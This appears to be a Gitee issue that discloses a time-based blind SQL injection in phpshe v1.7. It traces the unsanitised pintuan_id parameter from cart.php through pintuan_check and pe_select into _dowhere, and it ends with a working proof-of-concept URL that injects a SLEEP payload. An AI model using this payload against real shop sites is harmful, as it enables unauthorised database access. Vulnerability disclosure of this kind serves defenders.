Watch 15 Star 35 Fork 17

koyshe / phpshePHP

phpshe v1.7 time-based Blind SQL injection

Open
hellos1ma  Created at

0x01 Vulnerability details

The vulnerability is located in the /module/index/cart.php.
When the value of the act parameter is 'pintuan', The value of the pintuan_id parameter obtained from the client is passed directly to the pintuan_check function.This vulnerability requires the permissions of ordinary users.

switch ($act) {
	//####################// 购物车添加/立即购买 //####################//
	case 'add':
	case 'buy':
	case 'pintuan':
	    $product_id = intval($_g_id);
	    $product_guid = intval($_g_guid);
	    $product_num = intval($_g_num);
	    if (!user_checkguest()) pe_jsonshow(array('result'=>false, 'show'=>'请先登录'));
	    //exit(var_dump(2));
	    //检测库存		
	    $product = product_buyinfo($product_guid);
	    if (!$product['product_id']) pe_jsonshow(array('result'=>false, 'show'=>'商品下架或失效'));
	    if ($product['product_num'] < $product_num) pe_jsonshow(array('result'=>false, 'show'=>"库存仅剩{$product['product_num']}件"));
	    //检测虚拟商品
	    if ($act == 'add' && $product['product_type'] == 'virtual') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车'));
	    //检测拼团
	    if ($act == 'add' && $product['huodong_type'] == 'pintuan') pe_jsonshow(array('result'=>false, 'show'=>'不能加入购物车'));
//the vul code
	    if ($act == 'pintuan' && !pintuan_check($product['huodong_id'], $_g_pintuan_id)) pe_jsonshow(array('result'=>false, 'show'=>'拼团无效或结束'));
......

The pintuan_check function is located ../hook/order.hook.php,when an attacker passes a malicious parameter value to pintuan_id,the condition is met and the value of the pintuan_id parameter is finally passed to the pe_select function.The code for the pintuan_check function:

function pintuan_check($huodong_id, $pintuan_id = 0) {
	global $db;
	if ($pintuan_id) {
		$info = $db->pe_select('pintuan', array('pintuan_id'=>$pintuan_id));
		if (!$info['pintuan_id']) return false;
		if (in_array($info['pintuan_state'], array('success', 'close'))) return false;
	}
	else {
		$info = $db->pe_select('huodong', array('huodong_id'=>$huodong_id));
		if (!$info['huodong_id']) return false;
		if ($info['huodong_stime'] > time() or $info['huodong_etime'] <= time()) return false;
	}
	return true;
}

In the pe_select function, the value of the pintuan_id parameter has undergone a series of processing of the dowhere function, and finally directly spliced ​​into the sql statement, there is no security filtering.

The pe_select function is located ../include/class/db.class.php.

	public function pe_select($table, $where = '', $field = '*')
	{
		//处理条件语句
		$sqlwhere = $this->_dowhere($where);
		return $this->sql_select("select {$field} from `".dbpre."{$table}` {$sqlwhere} limit 1");
	}

The code for the _dowhere function :

function _dowhere($where)
{
    if (is_array($where)) {
        foreach ($where as $k => $v) {
            $k = str_ireplace('`', '', $k);
            if (is_array($v)) {
                $where_arr[] = "`{$k}` in('".implode("','", $v)."')";			
            }
            else {
                in_array($k, array('order by', 'group by')) ? ($sqlby .= " {$k} {$v}") : ($where_arr[] = "`{$k}` = '{$v}'");
            }
        }
        $sqlwhere = is_array($where_arr) ? 'where '.implode($where_arr, ' and ').$sqlby : $sqlby;
    }
    else {
        $where && $sqlwhere = (stripos(trim($where), 'order by') === 0 or stripos(trim($where), 'group by') === 0) ? "{$where}" : "where 1 {$where}";
    }
    return $sqlwhere;
}

0x02 POC

/index.php?act=pintuan&guid=86&id=30&mod=cart&num=e&pintuan_id=' AND (SELECT * FROM (SELECT(SLEEP(5)))prjM)-- PiOR

输入图片说明

total 1 participants

Comments (0)

Sign in and comment

Assignee
Labels
Not set
Project
Milestone
Branch
Scheduled start
Not set
Scheduled end
Not set
Top level
Priority

Help Search

Gitee_sixth 5th_float_left_close